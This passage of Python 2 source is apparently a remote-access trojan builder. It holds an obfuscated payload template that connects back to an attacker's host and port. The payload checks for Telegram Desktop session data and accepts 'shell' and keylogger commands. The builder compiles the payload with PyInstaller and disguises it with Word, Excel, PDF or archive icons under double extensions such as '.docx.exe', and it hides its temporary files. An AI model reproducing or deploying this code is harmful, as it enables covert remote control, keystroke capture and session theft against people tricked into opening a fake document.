path.isdir(\'C:\\\\Users\\\\\'+ee11cbb19052e40b07aac0ca060c23ee+\'\\\\AppData\\\\Roaming\\\\Telegram Desktop\\\\tdata\')==True:\r\n\t\tb0723c29c59c0fed25a7324a0ee4096b=1\r\n\t\tb3c7cbace395d8b182dbb7ae2c3bfb34.send(\'yes\')\r\n\t\tbreak\r\n\telif ee11cbb19052e40b07aac0ca060c23ee==\'break\':\r\n\t\tbreak \r\n\telse:\r\n\t\tb3c7cbace395d8b182dbb7ae2c3bfb34.send(\'not\')\r\nif b0723c29c59c0fed25a7324a0ee4096b==1:\r\n\tb99567fc82b671ea4bbe6c1f8864519b()\r\n\tb9a960b9fa32b73b073cbeeb8778bc07(ee11cbb19052e40b07aac0ca060c23ee,b3c7cbace395d8b182dbb7ae2c3bfb34)\r\nwhile True:\r\n\tb20931ee7fdb6ce1d139ad1b6df35ae4=b3c7cbace395d8b182dbb7ae2c3bfb34.recv(5)\r\n\tif b20931ee7fdb6ce1d139ad1b6df35ae4==\'close\':\r\n\t\texit()\r\n\telif b20931ee7fdb6ce1d139ad1b6df35ae4==\'shell\':\r\n\t\tbedc6d1c31802fb5f8093a2a0fbe7f1d(b3c7cbace395d8b182dbb7ae2c3bfb34)\r\n\telif b20931ee7fdb6ce1d139ad1b6df35ae4==\'keylo\':\r\n\t\tccc744da9691d16696acdc7648b21c89=b3c7cbace395d8b182dbb7ae2c3bfb34.recv(1)\r\n\t\tif ccc744da9691d16696acdc7648b21c89==\'y\':\r\n\t\t\tcefda4932d283cb7f67b9f73fb6e0f14()\r\n'.format(lhost,lport)
icon_path=raw_input(Fore.GREEN+'Enter Path Icon(Just *.ico)-> ')
format_outf=''
licen_ico=False
if icon_path=='':
key_icon={'0':['icons\\excel.ico','.xlsx']
,'1':['icons\\pdf.ico','.pdf']
,'2':['icons\\powerpoint.ico','.pptx']
,'3':['icons\\rar.ico','.rar']
,'4':['icons\\word.ico','.docx']}
print Fore.WHITE+"\nID\tName"
print Fore.WHITE+"===\t===="
for sii in range(0,5):
print "{}[{}]\t{}{}".format(Fore.YELLOW,sii,Fore.CYAN,key_icon[str(sii)][0].replace('icons\\',''))
print
icon_select=raw_input(Fore.GREEN+'SELECT> ')
if icon_select in key_icon:
icon_path=key_icon[icon_select][0]
licen_ico=True
else:
print "\nInvalid ID\n"
print "Default ICON : PYTHON\n"
icon_path='\"\"'
else:
if path.isfile(icon_path)==True:
if icon_path[-3:]=='ico':
print Fore.RED+'\nICON : '+icon_path
else:
print 'It Is Not .ico'
print Fore.RED+'\nDefault ICON : PYTHON\n'
icon_path='\"\"'
elif os.path.isfile(icon_path)==False:
print 'It Is Not .ico'
print Fore.RED+'\nDefault ICON : PYTHON\n'
icon_path='\"\"'
print Fore.WHITE+'\nSTART Create EXE File'
print Fore.CYAN+'---------------------'
file_st=open(payload_name+'.py','wb')
file_st.write(source_payload)
file_st.close()
popen('attrib +h '+payload_name+'.py').read()
popen('pyinstaller --onefile '+payload_name+'.py -i '+icon_path+' --onefile --upx-dir tools\\').read()
popen('attrib -h '+payload_name+'.py').read()
remove(payload_name+'.py')
remove(payload_name+'.spec')
popen('rmdir /Q /S build').read()
if licen_ico==True:
new_ren=payload_name+key_icon[icon_select][1]+'.exe'
popen('ren dist\\'+payload_name+'.exe '+new_ren)
if path.isfile('dist/'+new_ren)==True:
print Fore.RED+'Save -> dist/'+new_ren
else:
print Back.RED+"Can\'t Create File"
else:
if path.isfile('dist/'+payload_name+'.exe')==True:
print Fore.RED+'Save -> dist/'+payload_name+'.exe'
else:
print Back.RED+"Can\'t Create File"
print Fore.CYAN+'---------------------'
else:
banner()